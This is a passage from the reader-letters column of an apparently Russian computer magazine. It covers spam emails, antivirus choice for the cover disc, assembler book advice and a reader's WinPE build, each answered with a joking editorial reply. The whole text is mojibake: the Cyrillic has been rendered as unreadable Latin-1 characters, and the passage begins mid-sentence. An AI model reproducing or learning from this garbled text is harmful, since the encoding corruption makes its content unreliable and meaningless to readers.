òîæå àëëåðãèÿ, îíè ñáèâàþò èìïëàíòèðîâàííûå â ìîé îðãàíèçì íèçêî-
îìíûå ìîçãîóñèëèòåëüíûå òðàíçèñòîðû.

From: Àäàìñêèé Ê. Â. [bailey@poczta.onet.pl]
Subj: Âíåñóäåáíûé âîçâðàò ëþáûõ äîëãîâ
Îêàæåò Âàì Ïðîôåññèîíàëüíóþ ïîìîùü ïî óãîëîâíûì, ãðàæäàíñêèì,
àðáèòðàæíûì, áðàêîðàçâîäíûì äåëàì. Âñå âèäû óñëóã ÷àñòíîé äåòåê-
òèâíîé è îõðàííîé äåÿòåëüíîñòè !
Re: Âîò êàê, çíà÷èò. Àãåíòñòâî Àëü Êàïîíå âåðíåò äîëãè è ðàñôîðìèðó-
åò ëþáóþ ôèðìó? Êàê ãîâîðèòñÿ, ïîñëå ïðî÷òåíèÿ ýòîãî ïèñüìà âàì çà-
õî÷åòñÿ âçÿòü â ðóêè Tommy-Gun, íàäåòü ìàëèíîâûé ïèäæàê è ïóñòèòü
ïàëüöû âååðîì. Âîò òîëüêî èíòåðåñíî, êàê îñóùåñòâëÿþòñÿ áðàêîðàç-
âîäíûå ïðîöåññû? Áåòîííûå ñàïîãè � è â Òåìçó? Êàòêîì  â àñôàëüò,
î÷åðåäü èç Tommy Gun êðåñò-íàêðåñò? :)

From: Darnell [agami@mail.com]
Subj: òàêîãî íåò íè ó êîãî
Èìåííîé êàìåíü � îðèãèíàëüíûé ïîäàðîê, êîòîðûé íèêîãäà íå íàäîåñò
Re: Çà ÷òî ÿ ëþáëþ ñïàìî-àâòîðîâ, ñïàìî-ïîñûëàòåëåé è ïðî÷èõ ñïà-
ìî-ãåíåðàòîðîâ � òàê ýòî çà èõ ôàíòàçèþ è ñàìîêðèòèêó. Äåéñòâè-
òåëüíî, äîðîãèå òîâàðèùè, î÷åíü ìíîãèå ÷èòàòåëè äàííîãî êðåàòèâà
ñêèíóëèñü áû Âàì íà òàêîé ïîäàðîê. Êîòîðûé Âàì íèêîãäà íå íàäîåñò.
Õîòÿ ìîæíî îãðàíè÷èòüñÿ è ïðîñòî òàáëè÷êîé ñ èìåíåì è äàòîé. Ëèáî
ïîñòàâèòü ïðîñòåíüêèé òàêîé êàìåøåê. Ñ äðóãîé ñòîðîíû, ìîæíî îãðà-
íè÷èòüñÿ ïåðåäà÷åé òåëà â àíàòîìè÷åñêèé ìóçåé äëÿ èññëåäîâàíèÿ è
áåñ÷åëîâå÷íûõ ýêñïåðèìåíòîâ íàä ìîçãîì òèïè÷íîãî ñïàììåðà.
Ïðîñòî, íî âåñüìà îðèãèíàëüíî, è âñå ðàâíî íèêîãäà íàì íå íàäîåñò,
íåñìîòðÿ íà îòñóòñòâèå êàêèõ-òî íàó÷íûõ âûâîäîâ! Â îáùåì, çàõîäèòå
â íàøó ïðîçåêòîðñêóþ.

From: Nikita Lozhkin [dreamnik@mail.ru]
Subj: Àíòèâèðóñû
Çäðàâñòâóéòå óâàæàåìàÿ ðåäàêöèÿ ][ ! Ó ìåíÿ âîïðîñ, äàæå ïðåòåíçèÿ!
Ïî÷åìó âû ìåíÿåòå àíòèðóñ, êîòîðûì ïðîâåðÿëè äèñê? Òî ýòî êàñïåðñ-
êèé, äî äð. âåá? Âîò âàì-òî ëåãêî, à ìíå ïåðåóñòàíàâëèâàòü íå îõîòà!
Êàæäûé ðàç ñòàâèøü, ïðîâåðÿåøü, ïîòîì ñíîâà ñòàâèøü...Âû óæ êàê-íè-
áóäü îïðåäåëèòåñü, ñàìîäåëüíûé, ÷òî ëè, ïîñòàâüòå! Òîãäà ÿ õîòü ïåðå-
óñòàíàâëèâàòü íå áóäó :)
P.S. íó à åñëè ñåðüåçíî (âîò âñåãäà ìû òàê � âíà÷àëå ïëåò¸ì ÷åãî ïîïàëî)
òî íàôèã âîîáùå ýòè ôàéëû îò÷¸òà? Íå áûëî áû èõ Âû áû ïîèìåëè áîëüøå

ñâîáîäíîãî âðåìåíè è ìåñòà íà äèñêå òîæå (áððððð! â ñìûñëå ñýêîíîìèëè!).
Re: Èòàê, ñíîâà ïåðåä íàìè ëåæèò ïèñüìî îò íåäîâîëüíîãî òîâàðèùà
Ëîæêèíà. Íàïîìíèì, ÷òî ïîíà÷àëó ýòîò ãîñïîäèí áûë íåäîâîëåí ðå-
äàêòîðîì äèñêà áðàòñêîãî æóðíàëà, à òåïåðü âûñêàçûâàåò ïðåòåíçèè
è ê íàøåìó. Ñíà÷àëà ìíå äàæå ïîêàçàëîñü, ÷òî àâòîð ïîñëàíèÿ, ïðî-
äîëæàÿ òåìó ïðåäûäóùèõ ïèñåì, ïîäñîçíàòåëüíî èñïîâåäóåò íàöèñ-
òñêèå ìûñëè («àíòèðóñ» � ýòî æå òèïè÷íàÿ îïå÷àòêà ïî Ôðåéäó!). Îä-
íàêî íå áóäåì îòâëåêàòüñÿ.  Èòàê, àíòèâèðóñ ìû ìåíÿåì íå÷àñòî. Íè-
÷åãî ïëîõîãî â ïåðåõîäå íà Âåáà ÿ íå âèæó :). À ëîãè ìû ïîñòèì äëÿ
òîãî, ÷òîáû Âû íå ïóãàëèñü è íå ïèñàëè íàì ñëåäóþùåãî: «Âîò, ìîé
àíòèâèðóñ îáíàðóæèë çëîé âèðóñ not-a-virus.MIRC.6.16, Âû ÷òî òàì,
âîîáùå îáîðçåëè? Õàêíóòü ìåíÿ õîòèòå, äà? Âñþ ñòðàíó âèðóñàìè çà-
ðÿäèòü æåëàåòå? Àãà, âîò êàê? Õàêåðû, äà? Íó óæ íåò, íàêîñÿ-âûêóñè,
è ìû íå ëûêîì øèòû»! À òàê � ïðî÷èòàåòå îò÷åò è ïîéìåòå, ÷òî ìû
íèêîãî íå îáìàíûâàåì :). 

From: Äåíèñ [azot59.84@mail.ru]
Subj: îò ÷èòàòåëÿ
Çäðàâñòâóéòå äîðîãàÿ ðåäàêöèÿ!
ß õî÷ó èçó÷èòü àññåìáëåð, íå ìîãëè áû âû ìíå ïîäñêàçàòü, ïî êàêèì
êíèãàì ýòî ëó÷øå âñåãî ñäåëàòü, êíèã ñåé÷àñ ìíîãî à êàêóþ ëó÷øå âûá-
ðàòü ìíå íåèçâåñòíî.
Î÷åíü ïðîøó ïîñîâåòóòå ìíå ñ âûáîðîì.
Ñ óâàæåíèåì.
Äåíèñ.
Re: Ïðèâåò, äîðîãîé ÷èòàòåëü Äåíèñ! Ñêà÷àé â èíåòå êíèãó Ïèòåðà
Àáåëÿ «Àññåìáëåð è ïðîãðàììèðîâàíèå äëÿ IBM PC» è äëÿ íà÷àëà
ïîïðîáóé âîòêíóòü â íåå. Äàâíûì-äàâíî äëÿ íà÷èíàþùèõ îíà áûëà
î÷åíü êðóòà. Ñåé÷àñ � íå çíàþ, ñ àññåìáëåðîì ÿ ïîêîí÷èë äàâíî, è
çíàíèÿ ìîè â íåì áûëè íåâåëèêè, ÿ êàê-òî áîëüøå ïðåäïî÷èòàë Pascal
ñ âñòàâî÷êàìè íà àñìå  :). À âîîáùå-òî, íå çàáûâàé ÷èòàòü íàøó ðóá-
ðèêó Êîäèíã � òàì æå àññåìáëåð ïðèñóòñòâóåò åæåìåñÿ÷íî, à íà âû-
íîñêàõ âñåíàðîäíî ëþáèìûé Êðèñ Êàñïåðñêè íåðåäêî ïóáëèêóåò è
«÷òî ïî÷èòàòü». 

From: Ôåäîñîâ Åâãåíèé Âÿ÷åñëàâîâè÷ [fev@azot.net]
Subj: WinPE
Çäðàâñòâóéòå,
ß íà äîñóãå ñäåëàë WinPE, è ìíå î÷åíü õîòåëîñü áû ÷òîáû îáðàç ìîåãî
òâîðåíèÿ âû îïóáëèêîâàëè âìåñòå ñî ñðàâíèòåëüíîé ñòàòü¸é â âàøåì
æóðíàëå. Îáðàç 210 ìåãàáàéò (êàê ðàç íà ìàëåíüêóþ êîìïàøêó). Åãî
âðÿò-ëè ìîæíî èñïîëüçîâàòü êàê LiveCD íî ñðåäñòâ äëÿ âîññòàíîâëåíèÿ
ëó÷øå ÿ íå âèäåë. 
Î÷åíü íàäåþñü ÷òî Âàñ ýòî çàèíòåðåñóåò.
Ñ óâàæåíèåì Åâãåíèé Ôåäîñîâ
Re: Äà íå âîïðîñ, Åâãåíèé Âÿ÷åñëàâîâè÷! Ìû âñåãäà ðàäû ïîñìîò-
ðåòü íà óñïåõè ÷èòàòåëåé, òîëüêî íå î÷åíü ïîíÿòíî, ãäå òâîé òðóä êà-
÷àòü ;). Ïîýòîìó ñðî÷íî øëè ëèíê íàøåìó Ñòåïàíó Èëüèíó (ðåäàêòîðó
äèñêà), ìû çàöåíèì òâîå òâîðåíèå, è åñëè îíî íàì ïîíðàâèòñÿ (è áó-
äåò ñîîòâåòñòâîâàòü àâòîðñêèì ïðàâàì ëþäåé, ÷üè ïðîãðàììû òû òó-
äà èíòåãðèðîâàë), òî âûëîæèì íà äèñê. Íó à åñëè ýòî ðåàëüíûé è çëîé
âàðåç � òóò ìû òåáå íå ïîìîùíèêè, ïîñêîëüêó î÷åíü óâàæàåì ÷óæóþ
èíòåëëåêòóàëüíóþ ñîáñòâåííîñòü :). Â îáùåì, æäåì îáðàçà, ñóäÿ ïî
îïèñàíèþ (êîòîðîå â æóðíàë íå âîøëî èç-çà ñâîåãî öàðñêîãî
ðàçìåðà) � âåùü äîñòîéíàÿ 
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